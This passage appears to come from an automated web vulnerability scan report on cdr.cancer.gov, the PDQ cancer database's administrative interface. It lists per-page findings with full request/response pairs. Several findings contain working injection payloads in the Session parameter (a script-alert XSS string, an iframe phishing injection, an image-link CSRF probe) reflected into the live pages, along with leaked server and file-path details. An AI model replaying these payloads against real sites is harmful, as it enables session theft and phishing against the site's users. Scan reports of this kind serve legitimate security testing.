body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448287 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/TermUsage.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/TermUsage.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/TermUsage.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:43:28 GMT
Connection: close
Content-Length: 2411

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Term Usage</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/UnchangedDocs.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448030 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/UnchangedDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1149)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/UnchangedDocs.py? Session=None'/><script>alert(1149)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:04:08 GMT
Connection: close
Content-Length: 3873

...
OPTION>ValTest</OPTION><OPTION>xxtest</OPTION></SELECT></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Max Rows </B></TD>
<TD><INPUT NAME='MaxRows' VALUE='1000'></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1149) </script>'>
</FORM>
</BODY>
</HTML>

...
OPTION>ValTest</OPTION><OPTION>xxtest</OPTION></SELECT></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Max Rows </B></TD>
<TD><INPUT NAME='MaxRows' VALUE='1000'></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1149) </script>'>
</FORM>
</BODY>
</HTML>
```

## Issue 2 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448072 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/UnchangedDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'None%27%22%3E%3Ciframe+id%3D1145+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/UnchangedDocs.py? Session=None%27%22%3E%3Ciframe+id%3D1145+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:04:06 GMT
Connection: close
Content-Length: 3904

...
OPTION><OPTION>ValTest</OPTION><OPTION>xxtest</OPTION></SELECT></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Max Rows </B></TD>
<TD><INPUT NAME='MaxRows' VALUE='1000'></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1145 src= http://demo.testfire.net/phishing.html > >'>
</FORM>
</BODY>
</HTML>

...
OPTION><OPTION>ValTest</OPTION><OPTION>xxtest</OPTION></SELECT></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Max Rows </B></TD>
<TD><INPUT NAME='MaxRows' VALUE='1000'></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1145 src= http://demo.testfire.net/phishing.html > >'>
</FORM>
</BODY>
</HTML>
```

## Issue 3 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448098 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/UnchangedDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1146.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/UnchangedDocs.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1146.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:04:07 GMT
Connection: close
Content-Length: 3870

...
pe</OPTION><OPTION>ValTest</OPTION><OPTION>xxtest</OPTION></SELECT></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Max Rows </B></TD>
<TD><INPUT NAME='MaxRows' VALUE='1000'></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1146.html"> '>
</FORM>
</BODY>
</HTML>

...
pe</OPTION><OPTION>ValTest</OPTION><OPTION>xxtest</OPTION></SELECT></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Max Rows </B></TD>
<TD><INPUT NAME='MaxRows' VALUE='1000'></TD>
</TR>
</TABLE>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1146.html"> '>
</FORM>
</BODY>
</HTML>
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448055 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/UnchangedDocs.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/UnchangedDocs.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:16 GMT
Connection: close
Content-Length: 3842

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448112 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/UnchangedDocs.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/UnchangedDocs.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/UnchangedDocs.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:03:50 GMT
Connection: close
Content-Length: 3842

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [Low] https://cdr.cancer.gov/aspnet_client/ - 1 issue(s)

### Issue 1 of 1

### [Low] Hidden Directory Detected

| | |
|---|---|
| Issue: | 75448036 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/aspnet_client/ |
| Risk(s): | It is possible to retrieve information about the site's file system structure, which may help the attacker to map the web site |
| Fix: | Issue a "404 - Not Found" response status code for a forbidden resource, or remove it completely |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Removed the query string
- Set path to '/aspnet_client/'
- Removed the query string
```

**Reasoning:**

The test tried to detect hidden directories on the server. The 403 Forbidden response reveals the existence of the directory, even though access is not allowed.

**Request/Response:**

```
GET /aspnet client/ HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 403 Forbidden
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 22:56:52 GMT
Content-Length: 1233
```

## [Low] https://cdr.cancer.gov/cgi-bin/ - 1 issue(s)

### Issue 1 of 1

### [Low] Hidden Directory Detected

| | |
|---|---|
| Issue: | 75448107 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/ |
| Risk(s): | It is possible to retrieve information about the site's file system structure, which may help the attacker to map the web site |
| Fix: | Issue a "404 - Not Found" response status code for a forbidden resource, or remove it completely |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Removed the query string
- Set path to '/cgi-bin/'
- Removed the query string
```

**Reasoning:**

The test tried to detect hidden directories on the server. The 403 Forbidden response reveals the existence of the directory, even though access is not allowed.

**Request/Response:**

```
GET /cgi-bin/ HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 403 Forbidden
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 22:56:52 GMT
Content-Length: 1233
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/CitationsInSummaries.py - 2 issue(s)

### Issue 1 of 2

### [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448094 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CitationsInSummaries.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/CitationsInSummaries.py'
- Set query string to 'Session=None'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/CitationsInSummaries.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: application/vnd.ms-excel
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=CitationsInSummaries-20140722151209.xls
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:12:31 GMT
Connection: close
```

## Issue 2 of 2

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448190 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CitationsInSummaries.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/CitationsInSummaries.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: application/vnd.ms-excel
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=CitationsInSummaries-20140722123822.xls
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:47 GMT
Connection: close
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/CiteSearch.py - 3 issue(s)

### Issue 1 of 3

### [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448060 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CiteSearch.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 2

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/CiteSearch.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/CiteSearch.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:42:34 GMT
Connection: close
Content-Length: 5434

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Citation Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color: #000066
...
```

## Issue 2 of 3

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448205 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CiteSearch.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/CiteSearch.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5

<!--: spam
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:18 GMT
Connection: close
Content-Length: 376

<body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> -->
<body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> --> -->
</font> </font> </font> </script> </object> </blockquote> </pre>
</table> </table> </table> </table> </table> </font> </font> </font><p>A problem occurred in a
Python script.
<p> D:\cdr\Log\tmpp7speb.html contains the description of this error.
```

## Issue 3 of 3

## [Information] HTML Comments Sensitive Information Disclosure

| | |
|---|---|
| Issue: | 75448195 |
| Severity: | Information |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CiteSearch.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Remove sensitive information from HTML comments |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/CiteSearch.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5

<!--: spam
X-Powered-By: ASP.NET Date: Tue, 22 Jul 2014 16:38:18 GMT
Connection: close
Content-Length: 376

<body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> -->
<body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> --> -->
</font> </font> </font> </script> </object> </blockquote> </pre>
</table> </table> </table>
...
<!--: spam
X-Powered-By: ASP.NET Date: Tue, 22 Jul 2014 16:38:18 GMT
Connection: close
Content-Length: 376

<body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> -->
<body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> --> -->
</font> </font> </font> </script> </object> </blockquote> </pre>
</table> </table> </table>
...
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/DatedActions.py - 2 issue(s)

### Issue 1 of 2

### [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448129 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DatedActions.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/DatedActions.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:10 GMT
Connection: close
Content-Length: 398

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CDR Error</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/cdr.css" rel="stylesheet">
</head>
<body>
<header>
<h1>CDR Web Interface</h1>
<h2>An error has occurred</h2>
</header>
<p class="error">Invalid or expired session: 'None'</p>
</body>
</html>
```

## Issue 2 of 2

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448250 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DatedActions.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/DatedActions.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/DatedActions.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:03:12 GMT
Connection: close
Content-Length: 398

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CDR Error</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/cdr.css" rel="stylesheet">
</head>
<body>
<header>
<h1>CDR Web Interface</h1>
<h2>An error has occurred</h2>
</header>
<p class="error">Invalid or expired session: 'None'</p>
</body>
</html>
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/DateLastModified.py - 2 issue(s)

### Issue 1 of 2

### [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448275 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DateLastModified.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/DateLastModified.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:10 GMT
Connection: close
Content-Length: 398

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CDR Error</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/cdr.css" rel="stylesheet">
</head>
<body>
<header>
<h1>CDR Web Interface</h1>
<h2>An error has occurred</h2>
</header>
<p class="error">Invalid or expired session: 'None'</p>
</body>
</html>
```

## Issue 2 of 2

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448294 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DateLastModified.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/DateLastModified.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/DateLastModified.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:03:12 GMT
Connection: close
Content-Length: 398

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CDR Error</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/cdr.css" rel="stylesheet">
</head>
<body>
<header>
<h1>CDR Web Interface</h1>
<h2>An error has occurred</h2>
</header>
<p class="error">Invalid or expired session: 'None'</p>
</body>
</html>
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/db-tables.py - 1 issue(s)

### Issue 1 of 1

### [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448087 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/db-tables.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/db-tables.py'
- Set query string to 'Session=None'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/db-tables.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:03:03 GMT
Connection: close
Content-Length: 35118

<html>
<head>
<title>DB Catalog</title>
<style type='text/css'>
.dbname { color: green; font-size: 16pt; }
.heading { font-size: 14pt; color: 00DD00; }
.pk { color: red; font-size: 10pt; font-style: normal; }
.col { color: blue; font-size: 10pt; font-style: normal; }
.tabname { color: navy; font-size: 12pt; font-weight: bold; }
</style>
</head>
<body>
<h1>DB Catalog</h1>
<pre>

<span class='dbname'>cdr DATABASE</span>

<span class='heading'>TABLES</span>

<span class='tabname'>action</span>
<span class='pk'>id INT NOT NULL</span>
...
```

## [Low] https://cdr.cancer.gov/cgi-bin/cdr/DiseaseDiagnosisTerms.py - 3 issue(s)

### Issue 1 of 3

### [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448103 |
| Severity: | Low |
